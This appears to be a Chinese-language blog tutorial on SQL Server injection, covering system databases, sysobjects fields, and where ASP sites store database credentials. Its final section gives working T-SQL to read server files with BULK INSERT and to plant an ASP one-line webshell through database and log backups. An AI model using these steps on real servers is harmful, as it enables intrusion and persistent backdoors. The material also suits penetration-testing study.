1. 程式人生 > 資料庫 >Sql server注入之庫的介紹

Sql server注入之庫的介紹

目錄

  • Mssql簡介
  • Mssql 服務、埠、字尾
  • 預設庫的介紹
  • 欄位的介紹
  • 資料庫部分程式碼語句分析
  • 資料庫的讀寫檔案

Mssql簡介

  • Microsoft SQL Sever 分為很多個版本,版本的不斷的升級安全性也越來越高,對我們滲透過程中最喜歡的版本應該就是2008以前,在2008及其以後的版本資料庫的許可權已經不再是system

  • 為了迎合新的版本我以後文章的實驗都在2008版本下面進行,同時也介紹以前可以利用的方法,相對於MySQL這個mssql顯得重了許多,他眾多的功能也給我們注入過程帶來了便利, 所以一般資料庫為mssql支援多語句我們就考慮是不是應該直接拿下webshell

  • 對於mssql的一個注入點我們往往最關心的這個注入點的許可權問題,是sa、db_owner還是public

    ;其次是這個注點是否顯錯,註釋語句是否可用,例如sql server中註釋符“–”;還有就是注入點是什麼型別的,是字元型注入,還是數字型注入。

Mssql 服務、埠、字尾

安裝完後重啟服務,使其生效,服務命令: services.msc

cmd命令,檢視mssql服務程序埠:netstat -ano

TCP  0.0.0.0:1433   0.0.0.0:0              LISTENING

1433:這是一個很重要的埠,mssql這個資料庫是以管理員身份安裝在系統服務上的,所以說他有一個管理員賬號叫:sa,他的許可權相當於我們的系統機許可權的,要是這個伺服器安裝了1433,一定要給sa的賬號設定一個強悍點的密碼,千萬不要設定弱口令,抓雞也是抓1433的。

資料庫檔案字尾:cracer.mdf

資料庫日誌檔案字尾:cracer_log.ldf

這兩個檔案很重要,要注意字尾,copy的話一定要將這兩個檔案一起copy,停止的話要先分離。

預設庫的介紹

  • master //用於記錄所有SQL Server系統級別的資訊,這些資訊用於控制使用者資料庫和資料操作。

  • model //SQL Server為使用者資料庫提供的樣板,新的使用者資料庫都以model資料庫為基礎

  • msdb //由 Enterprise Manager和Agent使用,記錄著任務計劃資訊、事件處理資訊、資料備份及恢復資訊、警告及異常資訊。

  • tempdb //它為臨時表和其他臨時工作提供了一個儲存區。

這裡我們經常要打交道的庫也就是master,他儲存了我們的所有資料庫名等等,還有很多儲存過程,所謂儲存過程你可以把他理解成一個函式呼叫的過程。

儲存過程是一個可程式設計的函式,它在資料庫中建立並儲存。

它可以有SQL語句和一些特殊的控制結構組成。

當希望在不同的應用程式或平臺上執行相同的函式,或者封裝特定功能時,儲存過程是非常有用的。

資料庫中的儲存過程可以看做是對程式設計中面向物件方法的模擬。它允許控制資料的訪問方式。

http://note.youdao.com/yws/public/resource/a5a40bfe67fbf34bc109dd7e53eb37a4/xmlnote/020C583F577E4531931659DA1B72F891/3921A9A5E95F4B9885E9B0811E70D0F7/115282

我們以master庫為例可以看到上面幾個東西,其中視圖表master.dbo.sysdatabases儲存所有資料庫名,其他資料庫的檢視則儲存他本庫的表名與列名。

每一個庫的試圖表都有syscolumns儲存著所有的欄位,可程式設計性儲存著我們的函式。


基本資訊:
@@version 				// 資料庫版本
user 					//獲取當前資料庫使用者名稱
db_name() 				// 當前資料庫名 其中db_name(N)可以來遍歷其他資料庫
;select user 			//查詢是否支援多語句
host_name() 			//服務端主機名

mssql的儲存過程是我們利用的重點,他天然支援多語句,也為我們注入提供了便利,我們可以通過檢視可程式設計性裡面的函式來查詢他的功能,發現一些新的東西

欄位的介紹

簡介:說明資料庫sysObjects表中xtype欄位值的含義。
sysObjects表它存放該資料庫內建立的所有物件,如約束、預設值、日誌、規則、儲存過程等,每個物件在表中佔一行。
select top 1 name,xtype from sysobjects;

name xtype sysrscols S

xtype可以是下列物件型別中的一種:

C = CHECK 約束

D = 預設值或 DEFAULT 約束

F = FOREIGN KEY 約束

L = 日誌

FN = 標量函式

IF = 內嵌表函式

P = 儲存過程

PK = PRIMARY KEY 約束(型別是 K)

RF = 複製篩選儲存過程

S = 系統表

TF = 表函式

TR = 觸發器

U = 使用者表

UQ = UNIQUE 約束(型別是 K)

V = 檢視

X = 擴充套件儲存過程

當xtype=‘U’ and status>0代表是使用者建立的表,物件名就是表名,物件ID就是表的ID值。
用: select * from misa.dbo.sysobjects where xtype=‘U’ and status>0 就可以列出庫misa中所有的使用者建立的表名。

SELECT * FROM SYSOBJECTS WHERE PARENT_OBJ = OBJECT_ID( ‘CS’) AND XTYPE=‘TR’
列出表cs的所有屬性,上面是trigger!

資料庫部分程式碼語句分析

呼叫資料庫程式碼

<%
 set conn =server.createobject("adodb.connection")
 conn.open  "provider=sqloledb;source=local;uid=sa;pwd=******;database=database-name"
%>

分析
其中,provider後面的不用管,照寫;source後面的可以是ip地址(有可能是外網地址,用sa的話可以允許登入外網地址),這裡我用的是本地的;sa是內建的使用者,它的密碼是你在安裝的時候設定的;database後面是你要連線的資料庫的名稱,例:mydatabase(不需副檔名)。
這條語句是找資料庫的密碼的,在網站找資料庫的連線資訊的時候,這個程式碼一般在資料庫連結檔案上,連結檔案如:
asp指令碼網站 的:conn.asp 或者在Dbconfig.asp這種帶db的或者帶config的指令碼檔案上。
aspx指令碼的話有可能在:web.config,這種指令碼檔案一般會記錄資料庫的連結,管理員賬號,和明文密碼的

建立資料庫

use asp\_net;

create table admin

(

id int primary key , username varchar(50) null, password varchar(50) null

);

insert into admin(id,username,password) values(1,'admin','admin');

其查詢方式與mysql的語法大同小異。

資料庫的讀寫檔案

讀寫前提

1. 需要 SA

2. BULK INSERT 許可權.

  • BULK INSERT檔案讀取:

create table test(
	context ntext
);		建立一個臨時表test

///將本地檔案pass寫test入表中
BULK INSERT test FROM 'c:/pass.txt'
WITH (
   DATAFILETYPE = 'char',
   KEEPNULLS
);		

select * from test;

drop table test;

  • 資料庫備份
create table [bin_cmd]([cmd] [image]);

declare @a sysname,@s nvarchar(4000)select @a=db_name(),@s=0x62696E backup database @a to disk=@s;

insert into [bin_cmd](cmd)values('<%execute/**/(request(chr(35)))%>');

declare @b sysname,@t nvarchar(4000)select @b=db_name(),@t='E:\bin.asp' backup database @b to disk=@t WITH DIFFERENTIAL,FORMAT;drop table [bin_cmd];
  • 日誌備份
create table [bin_cmd]([cmd] [image]);

declare @a sysname,@s nvarchar(4000)select @a=db_name(),@s=0x62696E backup log @a to disk=@s;

insert into [bin_cmd](cmd)values('<%execute/**/(request(chr(35)))%>');

declare @b sysname,@t nvarchar(4000)select @b=db_name(),@t='e:\1.asp' backup log @b to disk=@t with init,no_truncate;drop table [bin_cmd];

參考連結: